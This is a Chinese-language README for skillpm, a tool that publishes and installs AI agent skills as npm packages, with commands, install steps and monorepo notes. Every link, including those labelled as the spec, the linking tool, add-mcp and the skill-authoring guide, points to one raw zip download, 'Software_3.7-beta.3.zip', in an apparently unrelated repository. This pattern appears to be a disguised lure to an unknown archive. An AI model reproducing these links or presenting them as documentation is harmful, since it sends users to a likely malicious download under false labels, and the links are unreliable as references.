内容
# 技能包管理器
[](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip)
[](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip)
[](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip)
[智能体技能规范](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 定义了什么是技能,但并未定义如何发布、安装、版本管理或共享技能。没有注册中心,没有依赖管理,也没有一种方法可以让一个技能依赖于另一个技能。没有依赖,技能就变成了庞大的整体——作者们不得不复制指令,因为没有办法重用其他技能。
**技能包管理器(skillpm)** 填补了这一空白。它是一个轻量级的协调层——约 630 行代码,3 个运行时依赖——它将智能体技能映射到 npm 的生态系统上。相同的 `package.json`,相同的 `node_modules/`,相同的注册中心。技能变成了 npm 包,你可以发布、安装、版本管理,并依赖它们——就像其他任何包一样。小型技能可以组合,而不是庞大的整体。
## 快速开始
```bash
# 安装技能(无需全局安装)
npx skillpm install <技能名称>
# 列出已安装的技能
npx skillpm list
# 创建一个新的技能包
npx skillpm init
```
或者全局安装 CLI:
```bash
npm install -g skillpm
```
> **注意:** 技能始终是工作区本地的。这会安装 `skillpm` CLI,而不是技能。
## 工作原理
当你运行 `skillpm install <技能>` 时:
1. **npm 安装** — npm 处理解析、下载、锁定文件、`node_modules/`
2. **扫描** — skillpm 扫描 `node_modules/` 中的包含 `skills/*/SKILL.md` 的包
3. **链接** — 对于找到的每个技能,skillpm 调用 [`技能`](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 将其连接到智能体目录(Claude、Cursor、VS Code、Codex 等)
4. **配置** — 对于具有 `configs/` 目录的每个技能,skillpm 将智能体定义、规则和提示复制到工作区(自动前缀以避免冲突)
5. **MCP 配置** — skillpm 从所有技能(传递)收集 `skillpm.mcpServers` 并通过 [`add-mcp`](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 配置每个
就是这样。智能体看到完整的技能树,并配置了 MCP 服务器。
## 规范中缺失的内容 — 以及 skillpm 添加的内容
skillpm 没有重新发明任何东西。它协调了三个经过验证的工具:npm、[`技能`](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 和 [`add-mcp`](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip)。
| 规范未定义... | skillpm 添加... |
|---|---|
| 注册中心 | 使用 `skillpm publish` 发布到 npmjs.org |
| 安装命令 | `skillpm install` 解析完整的依赖树 |
| 依赖管理 | 标准 `package.json` `dependencies` — npm 处理 semver、锁定文件、审计 |
| 版本管理 | npm semver、`package-lock.json`、可复制的安装 |
| 智能体连接 | 通过 [`技能`](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 将技能链接到智能体目录 |
| 配置文件 | 从 `configs/` 将智能体定义、规则和提示复制到工作区 |
| MCP 服务器配置 | 通过 [`add-mcp`](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 收集和配置 MCP 服务器 |
## 命令
| 命令 | 描述 |
|---|---|
| `skillpm install [技能...]` | 安装技能 + 完整的依赖树,连接到智能体目录 |
| `skillpm uninstall <技能...>` | 删除技能并清理 |
| `skillpm list [--json]` | 列出已安装的技能包 |
| `skillpm init` | 创建一个新的技能包 |
| `skillpm publish` | 发布到 npmjs.org(验证 `"agent-skill"` 关键字) |
| `skillpm sync` | 在不重新安装的情况下重新连接智能体目录 |
| `skillpm mcp add <源...>` | 在智能体上配置 MCP 服务器 |
| `skillpm mcp list` | 列出已配置的 MCP 服务器 |
| `skillpm <npm 命令> [参数]` | 任何其他命令都会传递给 npm |
别名:`i`/`add` 表示 `install`,`rm`/`remove` 表示 `uninstall`,`ls` 表示 `list`。
## Monorepo / npm 工作区支持
如果你的仓库是一个 **npm 工作区 monorepo**,其中每个技能都是一个一等公民包(例如,根目录 `package.json` 工作区字段中的 `skills/<名称>/` 条目),npm 会将它们安装为 `node_modules/` 下的符号链接:
```
node_modules/
@org/
my-skill → ../../skills/my-skill ← 符号链接
```
`skillpm sync`(和 `skillpm install`)会自动检测这些符号链接,并将它们视为工作区包:
- 配置文件从符号链接技能的 `configs/` 目录复制到工作区根目录,与外部安装的技能完全相同。
- 工作区包在日志输出中标识:`Linking workspace package @org/my-skill@1.0.0`。
这允许贡献者通过运行来重新生成已部署的副本(智能体定义、提示、规则):
```bash
skillpm sync
```
无需手动复制步骤。像平常一样提交重新生成的 文件。
## 创建技能
```bash
mkdir my-skill && cd my-skill
skillpm init
```
参见完整的 [创建技能](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip) 指南,了解包结构、SKILL.md 格式、依赖项和发布。
## 什么是智能体技能?
智能体技能是模块化、可重用的指令包、脚本和资源,AI 智能体可以动态加载以扩展其功能。它们遵循 [开放标准](https://github.com/musharrafsaroof-123/skillpm/raw/refs/heads/main/packages/skillpm-skill/skills/skillpm/Software_3.7-beta.3.zip),已被 Claude、Codex、Cursor、Gemini CLI、Augment 等采用。
## 这与插件规范(GitHub CLI / Claude Code)有何关联?
插件规范和智能体技能解决了不同的层次:
- **插件规范** 定义了主机特定的运行时集成(例如,一个工具如何加载扩展)。
- **智能体技能** 定义了可在智能体系统之间共享的可重用指令包。
对于 skillpm 来说,这 **不** 会改变核心方法:技能仍然是 npm 包,依赖解析仍然在 npm 中,连接/配置仍然由 `技能` + `add-mcp` 处理。
## 开发
```bash
npm install # 安装依赖
npm run build # 编译 TypeScript
npm test # 运行测试
npm run lint # 校验
```
## 许可证
MIT